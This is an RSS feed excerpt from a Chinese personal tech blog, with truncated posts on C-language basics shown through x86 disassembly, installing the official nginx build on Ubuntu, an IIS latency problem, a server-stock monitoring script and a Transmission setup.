&lt;p&gt;当需要一个容器能够存储5个数据，这5个数据中有1字节的，2字节的有10字节的。。。你会怎么做？？&lt;/p&gt;</description></item><item><title>C语言10 多维数组</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8010-%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%8010%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84/</link><pubDate>Wed, 03 Jan 2018 08:38:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%8010-%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%8010%E5%A4%9A%E7%BB%B4%E6%95%B0%E7%BB%84/</guid><description>&lt;h2 id="多维数组的定义"&gt;多维数组的定义&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;比如一个班有5个组，每个组有9个人&lt;/p&gt;
&lt;p&gt;int arr[45] 或者 intarr[5*9] 或者 int arr[5][9]&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;比如一个县有5个学校，每个学校有3个年级，每个年级有4个班，每个班有5个组，每个组有9个人&lt;/p&gt;
&lt;p&gt;int arr[5&lt;em&gt;3&lt;/em&gt;4&lt;em&gt;5&lt;/em&gt;9] 或者int arr[5][3][4][5][9]
int arr[5][3][4][5][9] ，又成为多维数组.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="多维数组的初始化"&gt;多维数组的初始化&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int arr[3][4] = {
 {1,2,3,4},
 {5,6,7,8},
 {9,7,6,5}
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="多维数组的存储方式"&gt;多维数组的存储方式&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int arr[3][4];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2018-01-03-15149006585862.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;反汇编对比&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;8: int arr[3*4] = {1,2,3,4,5,6,7,8,9,10,11,12};
00401028 C7 45 D0 01 00 00 00 mov dword ptr [ebp-30h],1
0040102F C7 45 D4 02 00 00 00 mov dword ptr [ebp-2Ch],2
00401036 C7 45 D8 03 00 00 00 mov dword ptr [ebp-28h],3
0040103D C7 45 DC 04 00 00 00 mov dword ptr [ebp-24h],4
00401044 C7 45 E0 05 00 00 00 mov dword ptr [ebp-20h],5
0040104B C7 45 E4 06 00 00 00 mov dword ptr [ebp-1Ch],6
00401052 C7 45 E8 07 00 00 00 mov dword ptr [ebp-18h],7
00401059 C7 45 EC 08 00 00 00 mov dword ptr [ebp-14h],8
00401060 C7 45 F0 09 00 00 00 mov dword ptr [ebp-10h],9
00401067 C7 45 F4 0A 00 00 00 mov dword ptr [ebp-0Ch],0Ah
0040106E C7 45 F8 0B 00 00 00 mov dword ptr [ebp-8],0Bh
00401075 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch
10: int arr[3][4] = {
11: {1,2,3,4},
00401028 C7 45 D0 01 00 00 00 mov dword ptr [ebp-30h],1
0040102F C7 45 D4 02 00 00 00 mov dword ptr [ebp-2Ch],2
00401036 C7 45 D8 03 00 00 00 mov dword ptr [ebp-28h],3
0040103D C7 45 DC 04 00 00 00 mov dword ptr [ebp-24h],4
12: {5,6,7,8},
00401044 C7 45 E0 05 00 00 00 mov dword ptr [ebp-20h],5
0040104B C7 45 E4 06 00 00 00 mov dword ptr [ebp-1Ch],6
00401052 C7 45 E8 07 00 00 00 mov dword ptr [ebp-18h],7
00401059 C7 45 EC 08 00 00 00 mov dword ptr [ebp-14h],8
13: {9,10,11,12}
00401060 C7 45 F0 09 00 00 00 mov dword ptr [ebp-10h],9
00401067 C7 45 F4 0A 00 00 00 mov dword ptr [ebp-0Ch],0Ah
0040106E C7 45 F8 0B 00 00 00 mov dword ptr [ebp-8],0Bh
00401075 C7 45 FC 0C 00 00 00 mov dword ptr [ebp-4],0Ch
14: };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过观察我们发现，所谓多维数组和一维数组，在内存分配上完全相同&lt;/p&gt;</description></item><item><title>C语言9 数组</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%809-%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%809%E6%95%B0%E7%BB%84/</link><pubDate>Mon, 01 Jan 2018 16:14:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%809-%E6%95%B0%E7%BB%84-c%E8%AF%AD%E8%A8%809%E6%95%B0%E7%BB%84/</guid><description>&lt;h2 id="数组的定义"&gt;数组的定义&lt;/h2&gt;
&lt;p&gt;数组定义的格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;数据类型 变量名[常亮]; //为什么不能使变量？
//因为在声明的时候 编译器需要知道数组的长度，分配相应大小的内存
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="数组的初始化"&gt;数组的初始化&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;方式1:&lt;/p&gt;
&lt;p&gt;int arr[10] = {0,0,0,0,0,0,0,0,0,0};&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;方式2:&lt;/p&gt;
&lt;p&gt;int arr[] = {1,2,3,4,5,6,7,8,9,10};&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;对应汇编&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;quot;stdafx.h&amp;quot;
int main(int argc, char* argv[])
{
 int age[10] = {1,2,3,4,5,6,7,8,9,10};
 return 0;
}
8: int age[10] = {1,2,3,4,5,6,7,8,9,10};
00401028 C7 45 D8 01 00 00 00 mov dword ptr [ebp-28h],1
0040102F C7 45 DC 02 00 00 00 mov dword ptr [ebp-24h],2
00401036 C7 45 E0 03 00 00 00 mov dword ptr [ebp-20h],3
0040103D C7 45 E4 04 00 00 00 mov dword ptr [ebp-1Ch],4
00401044 C7 45 E8 05 00 00 00 mov dword ptr [ebp-18h],5
0040104B C7 45 EC 06 00 00 00 mov dword ptr [ebp-14h],6
00401052 C7 45 F0 07 00 00 00 mov dword ptr [ebp-10h],7
00401059 C7 45 F4 08 00 00 00 mov dword ptr [ebp-0Ch],8
00401060 C7 45 F8 09 00 00 00 mov dword ptr [ebp-8],9
00401067 C7 45 FC 0A 00 00 00 mov dword ptr [ebp-4],0Ah
//因为在函数内。所以分配在堆栈中，这里使用的就是ebp寻址
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="数组的内存分配"&gt;数组的内存分配&lt;/h3&gt;
&lt;p&gt;分辨定义&lt;code&gt;char/short/int&lt;/code&gt; 类型的数组，观察ESP中减少了多少&lt;/p&gt;</description></item><item><title>C语言8 循环语句</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%808-%E5%BE%AA%E7%8E%AF%E8%AF%AD%E5%8F%A5-c%E8%AF%AD%E8%A8%808%E5%BE%AA%E7%8E%AF%E8%AF%AD%E5%8F%A5/</link><pubDate>Sat, 30 Dec 2017 04:54:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%808-%E5%BE%AA%E7%8E%AF%E8%AF%AD%E5%8F%A5-c%E8%AF%AD%E8%A8%808%E5%BE%AA%E7%8E%AF%E8%AF%AD%E5%8F%A5/</guid><description>&lt;p&gt;如何实现让某些语句按照一定的条件重复执行呢？&lt;/p&gt;
&lt;p&gt;比如：打印从0 – N的值？&lt;br&gt;
例子： goto语句&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include
#include
void MyPrint(int x)
{
 int i = 0;
B:
 printf(&amp;quot;%d\n&amp;quot;,i);
 i++;
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Ubuntu安装最新版nginx</title><link>https://luodaoyi.com/posts/ubuntu%E5%AE%89%E8%A3%85%E6%9C%80%E6%96%B0%E7%89%88nginx-ubuntu%E5%AE%89%E8%A3%85%E6%9C%80%E6%96%B0%E7%89%88nginx/</link><pubDate>Fri, 29 Dec 2017 03:08:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu%E5%AE%89%E8%A3%85%E6%9C%80%E6%96%B0%E7%89%88nginx-ubuntu%E5%AE%89%E8%A3%85%E6%9C%80%E6%96%B0%E7%89%88nginx/</guid><description>&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-12-28-15144490172324.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;众所周知，Ubuntu 上官方源的更新速度一直是慢得令人发指的，很多人不得不自己编译 nginx，非常麻烦。&lt;/p&gt;
&lt;p&gt;所以。我们直接用nginx官方源来安装。&lt;/p&gt;
&lt;h2 id="增加源地址"&gt;增加源地址:&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo vim /etc/apt/sources.list 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;增加nginx官方源地址:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deb http://nginx.org/packages/mainline/ubuntu/ xenial nginx
deb-src http://nginx.org/packages/mainline/ubuntu/ xenial nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="导入key"&gt;导入key&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cd
wget http://nginx.org/keys/nginx_signing.key
sudo apt-key add nginx_signing.key
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="卸载旧版本"&gt;卸载旧版本&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt remove nginx nginx-common nginx-full nginx-core
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="安装官方最新版"&gt;安装官方最新版&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update
sudo apt install nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="开启服务和设置开启启动"&gt;开启服务和设置开启启动&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl enable nginx
sudo systemctl start nginx
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看下状态:&lt;/p&gt;</description></item><item><title>C语言7 switch语句为什么高效</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%807-switch%E8%AF%AD%E5%8F%A5%E4%B8%BA%E4%BB%80%E4%B9%88%E9%AB%98%E6%95%88-c%E8%AF%AD%E8%A8%807switch%E8%AF%AD%E5%8F%A5%E4%B8%BA%E4%BB%80%E4%B9%88%E9%AB%98%E6%95%88/</link><pubDate>Thu, 28 Dec 2017 11:26:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%807-switch%E8%AF%AD%E5%8F%A5%E4%B8%BA%E4%BB%80%E4%B9%88%E9%AB%98%E6%95%88-c%E8%AF%AD%E8%A8%807switch%E8%AF%AD%E5%8F%A5%E4%B8%BA%E4%BB%80%E4%B9%88%E9%AB%98%E6%95%88/</guid><description>&lt;h2 id="switch语句的定义"&gt;switch语句的定义&lt;/h2&gt;
&lt;h3 id="语法"&gt;语法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;switch(表达式)
{
 case 常亮表达式1:
 语句;
 break;
 case 常亮表达式:
 语句;
 break;
 case 常亮表达式:
 语句;
 break;
 ......
 default:
 语句;
 break;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="需要注意的点"&gt;需要注意的点&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;表达式结束不能使浮点数&lt;/li&gt;
&lt;li&gt;case后的值不能一样&lt;/li&gt;
&lt;li&gt;case后的值必须是常量&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;break&lt;/code&gt;:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;break&lt;/code&gt;非常重要，当执行到一个分支后 如果没有break就会继续向下执行，遇到break才跳出switch语句&lt;/li&gt;
&lt;li&gt;&lt;code&gt;default&lt;/code&gt; 语句与位置无关，但是当default写在其他条件的前面时。如果没有&lt;code&gt;break;&lt;/code&gt;，就会向下继续匹配&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="switch语句与-ifelse语句的区别"&gt;Switch语句与 if..else语句的区别：&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;switch语句只能进行等值判断，而if..else可以进行区间判断&lt;/li&gt;
&lt;li&gt;switch语句的执行效率远远高于if..else 在分支条件比较多的情况下，这种趋势愈发明显&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;观察switch语句的反汇编，看看switch语句为啥效率高&lt;/p&gt;</description></item><item><title>C语言6 运算符和表达式</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%806-%E8%BF%90%E7%AE%97%E7%AC%A6%E5%92%8C%E8%A1%A8%E8%BE%BE%E5%BC%8F-c%E8%AF%AD%E8%A8%806%E8%BF%90%E7%AE%97%E7%AC%A6%E5%92%8C%E8%A1%A8%E8%BE%BE%E5%BC%8F/</link><pubDate>Thu, 28 Dec 2017 03:27:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%806-%E8%BF%90%E7%AE%97%E7%AC%A6%E5%92%8C%E8%A1%A8%E8%BE%BE%E5%BC%8F-c%E8%AF%AD%E8%A8%806%E8%BF%90%E7%AE%97%E7%AC%A6%E5%92%8C%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid><description>&lt;h2 id="运算符与表达式"&gt;运算符与表达式&lt;/h2&gt;
&lt;h3 id="什么是运算符什么是表达式"&gt;什么是运算符？什么是表达式？&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int x,y;
x+y x-y x&amp;gt;y x==y x=y
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id="表达式的结果"&gt;表达式的结果&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;(x+y)*(x-y)
char =&amp;gt; short =&amp;gt; int =&amp;gt; float =&amp;gt; double
/*如果x和 y类型 不同，最终结果按照上面结果类型转换*/
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;表达式不论怎么复杂。最终只有一个结果&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不同类型运算结果类型证明的例子:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void main()
{
 char x =1;
 short y = 2;
 int z = x + y;
 return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应汇编片段:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov byte ptr [ebp-4],1
mov word ptr [ebp-8],offset main+20h(00401030)
movsx eax,byte ptr [ebp-4]
movsx ecx,word ptr [ebp-8]
add eax,ecx
mov dword ptr [ebp-0Ch],eax
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="运算符"&gt;运算符&lt;/h2&gt;
&lt;h3 id="算术运算符"&gt;算术运算符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;+ - * / % ++ --
加 减 乘 除 取余 自加 自减
int i = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;++i 和 i++&lt;/p&gt;</description></item><item><title>C语言常用函数</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0-c%E8%AF%AD%E8%A8%80%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0/</link><pubDate>Sun, 24 Dec 2017 12:06:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%80%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0-c%E8%AF%AD%E8%A8%80%E5%B8%B8%E7%94%A8%E5%87%BD%E6%95%B0/</guid><description>&lt;h2 id="sqrt"&gt;sqrt&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;求给定值的平方根&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;sqrt() 用来求给定值的平方根，其原型为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; double sqrt(double x);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;【参数】&lt;code&gt;x&lt;/code&gt; 为要计算平方根的值。&lt;/p&gt;
&lt;p&gt;如果 &lt;code&gt;x &amp;lt; 0&lt;/code&gt;，将会导致 &lt;code&gt;domain error&lt;/code&gt; 错误，并把全局变量 &lt;code&gt;errno&lt;/code&gt; 的值为设置为 EDOM。&lt;/p&gt;
&lt;p&gt;【返回值】返回 &lt;code&gt;x&lt;/code&gt; 平方根。&lt;/p&gt;
&lt;p&gt;Exp:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include
main(){
 double root;
 root = sqrt(200);
 printf(&amp;quot;answer is %f\n&amp;quot;, root);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="pow"&gt;pow&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;求x的y次方（次幂）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;pow()&lt;/code&gt; 函数用来求 x 的 y 次幂（次方）,其原型为：&lt;/p&gt;</description></item><item><title>C语言4 -C语言整数和浮点数</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%804-c%E8%AF%AD%E8%A8%80%E6%95%B4%E6%95%B0%E5%92%8C%E6%B5%AE%E7%82%B9%E6%95%B0-c%E8%AF%AD%E8%A8%804-c%E8%AF%AD%E8%A8%80%E6%95%B4%E6%95%B0%E5%92%8C%E6%B5%AE%E7%82%B9%E6%95%B0/</link><pubDate>Sun, 24 Dec 2017 09:39:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%804-c%E8%AF%AD%E8%A8%80%E6%95%B4%E6%95%B0%E5%92%8C%E6%B5%AE%E7%82%B9%E6%95%B0-c%E8%AF%AD%E8%A8%804-c%E8%AF%AD%E8%A8%80%E6%95%B4%E6%95%B0%E5%92%8C%E6%B5%AE%E7%82%B9%E6%95%B0/</guid><description>&lt;h2 id="c语言数据类型"&gt;C语言数据类型&lt;/h2&gt;
&lt;h3 id="基本类型"&gt;基本类型&lt;/h3&gt;
&lt;h4 id="整数类型"&gt;整数类型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;char、short、int、long
char 8BIT 1字节 0~0xFF
short 16BIT 2字节 0~0xFFFF
int 32BIT 4字节 0~0xFFFFFFFF
long 32BIT 4字节 0~0xFFFFFFFF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;特别说明：&lt;br&gt;
int 在16位计算机中与short宽度一样，在32位以上的计算机中与long相同&lt;/p&gt;
&lt;h5 id="存储格式"&gt;存储格式&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;char x = 1; //0000 0001 0x01
char x = -1; //1111 1111 0xFF
（反码、补码、源码规则存储）
&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id="数据溢出"&gt;数据溢出&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;char x = 0xFF; //1111 1111
char Y = 0X100; //0001 0000 0000 （char最多8位 此处溢出了）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;数据溢出，是吧高位舍弃还是低位舍弃？&lt;/p&gt;</description></item><item><title>C语言5 -字符和字符串</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%805-%E5%AD%97%E7%AC%A6%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2-c%E8%AF%AD%E8%A8%805-%E5%AD%97%E7%AC%A6%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2/</link><pubDate>Thu, 21 Dec 2017 17:16:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%805-%E5%AD%97%E7%AC%A6%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2-c%E8%AF%AD%E8%A8%805-%E5%AD%97%E7%AC%A6%E5%92%8C%E5%AD%97%E7%AC%A6%E4%B8%B2/</guid><description>&lt;pre&gt;&lt;code&gt;int x = 123; //补码
int float f = 123.4F; //IEEE编码
int i = &amp;quot;A&amp;quot;; //神马情况???
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们在代码中写入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int i = &amp;quot;A&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反编译后汇编就编程了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mov dword ptr ss:[esp-4],0x41
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为什么会变成41呢？&lt;/p&gt;
&lt;h1 id="字符类型"&gt;字符类型&lt;/h1&gt;
&lt;h2 id="ascii-表"&gt;ASCII 表&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;(American Standard Code for Information Interchange 美国标准信息交换代码)&lt;br&gt;
维基百科: &lt;a href="https://zh.wikipedia.org/wiki/ASCII"&gt;https://zh.wikipedia.org/wiki/ASCII&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-12-22-15138704372139.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="字符类型-1"&gt;字符类型&lt;/h2&gt;
&lt;p&gt;ASCII表最大 127 16进制 是 0x7F 也就是只需要一个字节&lt;br&gt;
一个字节就够了，所以通常我们会使用：&lt;/p&gt;</description></item><item><title>IIS、asp.net 中TTFB诡异的500ms时间</title><link>https://luodaoyi.com/posts/iisaspnet-%E4%B8%ADttfb%E8%AF%A1%E5%BC%82%E7%9A%84500ms%E6%97%B6%E9%97%B4-iisaspnet%E4%B8%ADttfb%E8%AF%A1%E5%BC%82%E7%9A%84500ms%E6%97%B6%E9%97%B4/</link><pubDate>Thu, 21 Dec 2017 04:02:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/iisaspnet-%E4%B8%ADttfb%E8%AF%A1%E5%BC%82%E7%9A%84500ms%E6%97%B6%E9%97%B4-iisaspnet%E4%B8%ADttfb%E8%AF%A1%E5%BC%82%E7%9A%84500ms%E6%97%B6%E9%97%B4/</guid><description>&lt;blockquote&gt;
&lt;p&gt;最近一个H5的app做优化。我写了个转发接口。每次请求都会慢300到500ms，匪夷所思&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="问题发现"&gt;问题发现&lt;/h2&gt;
&lt;p&gt;最近H5做了重构。&lt;br&gt;
由于接口的安全原因 不得不做了一个转发接口。&lt;br&gt;
转发接口接受来自h5页面的http请求，解析参数，处理敏感数据，然后调用后端的api完成接口逻辑。&lt;/p&gt;</description></item><item><title>Online.net 服务器监控脚本</title><link>https://luodaoyi.com/posts/onlinenet-%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9B%91%E6%8E%A7%E8%84%9A%E6%9C%AC-onlinenet%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9B%91%E6%8E%A7%E8%84%9A%E6%9C%AC/</link><pubDate>Wed, 20 Dec 2017 16:05:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/onlinenet-%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9B%91%E6%8E%A7%E8%84%9A%E6%9C%AC-onlinenet%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9B%91%E6%8E%A7%E8%84%9A%E6%9C%AC/</guid><description>&lt;p&gt;今天的kimsufi 4C没抢到。不过这个垃圾网还不如oline的。就找了个脚本改改 部署方便些&lt;/p&gt;
&lt;h2 id="脚本"&gt;脚本&lt;/h2&gt;
&lt;p&gt;脚本使用python3.6编写，下面是脚本&lt;/p&gt;
&lt;p&gt;需要更改的是价格。这个脚本是根据价格判断需要的服务器是否有货的&lt;/p&gt;
&lt;p&gt;地址的话 这个是官网默认的地址，如果有活动的话 如果活动的界面跟这个地址的界面一样的话 直接改地址就可以了&lt;/p&gt;</description></item><item><title>C语言3 -变量</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%803-%E5%8F%98%E9%87%8F-c%E8%AF%AD%E8%A8%803-%E5%8F%98%E9%87%8F/</link><pubDate>Sun, 17 Dec 2017 17:17:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%803-%E5%8F%98%E9%87%8F-c%E8%AF%AD%E8%A8%803-%E5%8F%98%E9%87%8F/</guid><description>&lt;h2 id="变量声明"&gt;变量声明&lt;/h2&gt;
&lt;p&gt;变量类型 变量名;&lt;/p&gt;
&lt;p&gt;变量类型 用来说明宽度是多大&lt;/p&gt;
&lt;p&gt;int 4个字节&lt;br&gt;
short 2个字节&lt;br&gt;
char 1个字节&lt;/p&gt;
&lt;p&gt;变量名的命名规则&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;只能以字母、数组、下划线组成，却第一个元素必须是字母或者下划线&lt;/li&gt;
&lt;li&gt;区分大小写&lt;/li&gt;
&lt;li&gt;不能使用C语言的关键字&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="全局变量"&gt;全局变量&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;编译的时候就已经确定了内存地址和宽度，变量名就是内存地址的别名&lt;/li&gt;
&lt;li&gt;如果不重新编译，全局变量的内存地址不管。游戏外挂中的找“基址”，其实就是找全局变量&lt;/li&gt;
&lt;li&gt;全局变量中的值任何程序都可以改，是公用的&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;例子：CE搜索基址&lt;/p&gt;</description></item><item><title>C语言2-参数的传递与返回值</title><link>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%802-%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E9%80%92%E4%B8%8E%E8%BF%94%E5%9B%9E%E5%80%BC-c%E8%AF%AD%E8%A8%802-%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E9%80%92%E4%B8%8E%E8%BF%94%E5%9B%9E%E5%80%BC/</link><pubDate>Sun, 17 Dec 2017 08:49:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/c%E8%AF%AD%E8%A8%802-%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E9%80%92%E4%B8%8E%E8%BF%94%E5%9B%9E%E5%80%BC-c%E8%AF%AD%E8%A8%802-%E5%8F%82%E6%95%B0%E7%9A%84%E4%BC%A0%E9%80%92%E4%B8%8E%E8%BF%94%E5%9B%9E%E5%80%BC/</guid><description>&lt;pre&gt;&lt;code&gt;short plus(short x,short y,short z,short m)
{
 return x+y+z+m;
}
void main() //入口程序 程序开始执行的地方
{
 //调用函数
 plus(1,2,3,4);
 return; //执行结束
}
找到plus函数的反汇编 理解每一行汇编代码 找到参数是如何传递 返回值是如何返回的
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="plus函数对应反汇编代码和意义"&gt;plus函数对应反汇编代码和意义&lt;/h2&gt;
&lt;p&gt;调用函数调用:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;push 4
push 3
push 2
push 1
call (plus) 0041100f
add esp,10h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-12-17-15134805150581.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;p&gt;下面是call内部&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;push ebp
mov ebp,esp
sub esp,40h
以上三步都是为了提升堆栈，并且方便使用ebp寻址。并且esp在此时提升了 0x40，留下了 0x40大小的缓冲区
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src="https://luodaoyi.com/uploads/oss/2017-12-17-15134807009462.jpg" alt="" title=""&gt;&lt;/p&gt;</description></item><item><title>Ubuntu下安装Transmission 挂PT 并配置域名访问</title><link>https://luodaoyi.com/posts/ubuntu%E4%B8%8B%E5%AE%89%E8%A3%85transmission-%E6%8C%82pt-%E5%B9%B6%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E8%AE%BF%E9%97%AE-ubuntu%E4%B8%8B%E5%AE%89%E8%A3%85transmission%E6%8C%82pt%E5%B9%B6%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E8%AE%BF%E9%97%AE/</link><pubDate>Sat, 02 Dec 2017 04:48:00 +0000</pubDate><author>luodaoyi@gmail.com (luodaoyi)</author><guid>https://luodaoyi.com/posts/ubuntu%E4%B8%8B%E5%AE%89%E8%A3%85transmission-%E6%8C%82pt-%E5%B9%B6%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E8%AE%BF%E9%97%AE-ubuntu%E4%B8%8B%E5%AE%89%E8%A3%85transmission%E6%8C%82pt%E5%B9%B6%E9%85%8D%E7%BD%AE%E5%9F%9F%E5%90%8D%E8%AE%BF%E9%97%AE/</guid><description>&lt;p&gt;&lt;img src="https://ws3.sinaimg.cn/large/006tNc79ly1fm2au5zmrqj319d0mzjsv.jpg" alt="" title=""&gt;&lt;/p&gt;
&lt;h2 id="安装-transmission"&gt;安装 Transmission&lt;/h2&gt;
